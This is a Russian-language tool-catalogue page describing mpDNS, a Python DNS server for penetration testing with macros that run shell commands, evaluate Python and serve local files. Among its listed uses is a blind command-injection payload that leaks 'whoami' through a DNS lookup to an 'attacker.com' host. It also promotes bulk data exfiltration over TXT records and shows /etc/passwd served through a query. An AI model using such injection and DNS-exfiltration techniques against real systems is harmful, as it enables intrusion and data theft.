Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
mpDNS — Многоцелевой DNS-сервер | Kitploit
Инструменты/GitHubGitHub/nopernik/mpdns
Скриптинг и автоматизацияЭксфильтрация данныхСбор информацииВеб-безопасностьАнализ вредоносных программТестирование на ПроникновениеRed TeamingАнализ DNS
GitHubnopernik/mpdns

mpDNS

Многоцелевой DNS-сервер

Репозиторий
1442041 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

mpDNS, он же многоцелевой DNS-сервер

Простой настраиваемый DNS-сервер с множеством полезных функций

  • Python 3
  • names.db -> хранит все пользовательские записи (см. примеры)
  • Простые подстановочные знаки, например *.example.com
  • Перехват unicode DNS-запросов
  • Пользовательские действия, также известные как макросы:
    • {{shellexec::dig google.com +short}} -> Выполнить команду оболочки и ответить результатом
    • {{eval::res = '1.1.1.%d' % random.randint(0,256)}} -> Выполнить ваш код на Python
    • {{file::/etc/passwd}} -> Ответить содержимым локального файла
    • {{filelist::/somefile.list}} -> Ответить несколькими результатами построчно
    • {{resolve}} -> Перенаправить DNS-запрос локальной системной DNS
    • {{resolve::example.com}}
-> Разрешить example.com вместо исходной записи
  • {{echo}} -> Ответить адресом пира
  • {{shellexec::echo %PEER% %QUERY% %QUERYTYPE%}} -> Использование переменных
  • Смотрите names.db.example для подробностей
  • Основано на https://github.com/circuits/circuits/blob/master/examples/dnsserver.py

    Быстрый старт

    root@kitploit:~
    git clone https://github.com/nopernik/mpDNS
    cd ./mpDNS
    pip install -r requirements.txt
    touch names.db
    

    Теперь вы готовы заполнить свои DNS-записи в names.db на основе names.db.example

    Использование: ./mpdns.py

    • Создайте names.db. Смотрите names.db.example
    • Редактируйте DNS-записи в names.db с помощью ./mpdns.py -e без необходимости перезапуска

    Цели атаки и защиты:

    1. Вам нужно лёгкое простое решение DNS-сервера для целей тестирования (НЕ ПРОДУКЦИОННОЕ!)
    2. Тестирование различных слепых инъекций в веб-приложениях (например, /ping.php?ip=$(dig $(whoami).attacker.com))
    3. Лёгкое извлечение 65 КБ данных в одном запросе TXT
    4. Перенаправление DNS (DNS Rebinding)
    5. Выполнение пользовательских макросов при определённом запросе (полезно в лабораторных средах анализа вредоносного ПО)
    6. И многое другое. Он хорошо настраивается.

    Ограничения

    1. Из-за ограничения UDP-дейтаграммы в 65535 байт ответ DNS ограничен примерно ~65200 байт.
      это ограничение распространяется на записи TXT, которые разбиваются на фрагменты по 256 байт до достижения максимального допустимого размера ответа 65200 байт.
      поэтому запись TXT с макросом {{file:localfile.txt}} ограничена 65200 байтами.
    2. Не поддерживаются вложенные подстановочные знаки test.*.example.com
    3. Не поддерживается пользовательский резолвер DNS в макросе {{resolve::example.com}}
    4. TTL всегда установлен в 0

    Примеры

    Пример names.db:

    root@kitploit:~
    # Empty configuration will result in empty but valid responses
    #
    # Unicode domain names are not supported but still can be catched by the server.
    # for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response
    
    passwd.example.com	TXT     {{file::/etc/passwd}}  #comments are ignored
    shellexec			TXT     {{shellexec::whoami}}
    eval				TXT     {{eval::import random; res = random.randint(1,500)}}
    resolve1			A       {{resolve}}
    resolve2			A       {{resolve::self}}      #same as previous
    resolve3			A       {{resolve::example.com}}
    blabla.com			A       5.5.5.5
    
    *					A       127.0.0.1
    *.example.com		A		7.7.7.7
    c1.example.com		CNAME	c2.example.com
    c2.example.com		CNAME	c3.example.com
    c3.example.com		CNAME	google.example.com
    google.example.com	CNAME	google.com
    test.example.com	A		8.8.8.8
    google.com			A		{{resolve::self}}
    notgoogle.com		A		{{resolve::google.com}}
    

    Пример вывода с примером names.db:

    Обычное разрешение из БД: dig test.example.com @localhost

    root@kitploit:~
    ;; ANSWER SECTION:
    test.example.com.	0	IN	A	8.8.8.8
    

    вывод mpDNS: - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)


    Рекурсивное разрешение CNAME: dig c1.example.com @localhost

    root@kitploit:~
    ;; QUESTION SECTION:
    ;c1.example.com.			IN	A
    
    ;; ANSWER SECTION:
    c1.example.com.		0	IN	CNAME	c2.example.com.
    c2.example.com.		0	IN	CNAME	c3.example.com.
    c3.example.com.		0	IN	CNAME	google.example.com.
    google.example.com.	0	IN	CNAME	google.com.
    google.com.		0	IN	A	216.58.206.14
    

    вывод mpDNS:

    root@kitploit:~
    - Request from 127.0.0.1:44120      -> c1.example.com.		-> c2.example.com (CNAME)
    - Request from 127.0.0.1:44120      -> c2.example.com		-> c3.example.com (CNAME)
    - Request from 127.0.0.1:44120      -> c3.example.com		-> google.example.com (CNAME)
    - Request from 127.0.0.1:44120      -> google.example.com	-> google.com (CNAME)
    - Request from 127.0.0.1:44120      -> google.com			-> {{resolve::self}} (A)
    

    Разрешение подстановочного знака: dig not-in-db.com @localhost

    root@kitploit:~
    ;; ANSWER SECTION:
    not-in-db.com.		0	IN	A	127.0.0.1
    

    вывод mpDNS: - Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)


    Разрешение поддомена с подстановочным знаком: dig wildcard.example.com @localhost

    root@kitploit:~
    ;; ANSWER SECTION:
    wildcard.example.com.	0	IN	A	7.7.7.7
    

    вывод mpDNS: - Request from 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)


    Макрос перенаправления запроса: dig google.com @localhost

    root@kitploit:~
    ;; ANSWER SECTION:
    google.com.		0	IN	A	172.217.22.110
    

    вывод mpDNS: - Request from 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)


    Макрос перенаправления запроса пользовательского домена: dig notgoogle.com @localhost

    root@kitploit:~
    ;; ANSWER SECTION:
    notgoogle.com.		0	IN	A	172.217.22.110
    

    вывод mpDNS: - Request from 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)


    Макрос содержимого файла через TXT-запрос: dig txt passwd.example.com @localhost

    root@kitploit:~
    ;; ANSWER SECTION:
    passwd.example.com.	0	IN	TXT	"root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"
    

    вывод mpDNS: - Request from 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT)


    Макрос пользовательского кода Python через TXT-запрос: dig txt eval @localhost

    root@kitploit:~
    ;; ANSWER SECTION:
    eval.			0	IN	TXT	"320"
    

    вывод mpDNS: - Request from 127.0.0.1:33821 -> eval. -> ['320'] (TXT)


    Макрос команды оболочки через TXT-запрос: dig txt shellexec @localhost

    root@kitploit:~
    ;; ANSWER SECTION:
    shellexec.		0	IN	TXT	"root"
    

    вывод mpDNS: - Request from 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)


    Приятного использования!

    Скачать инструмент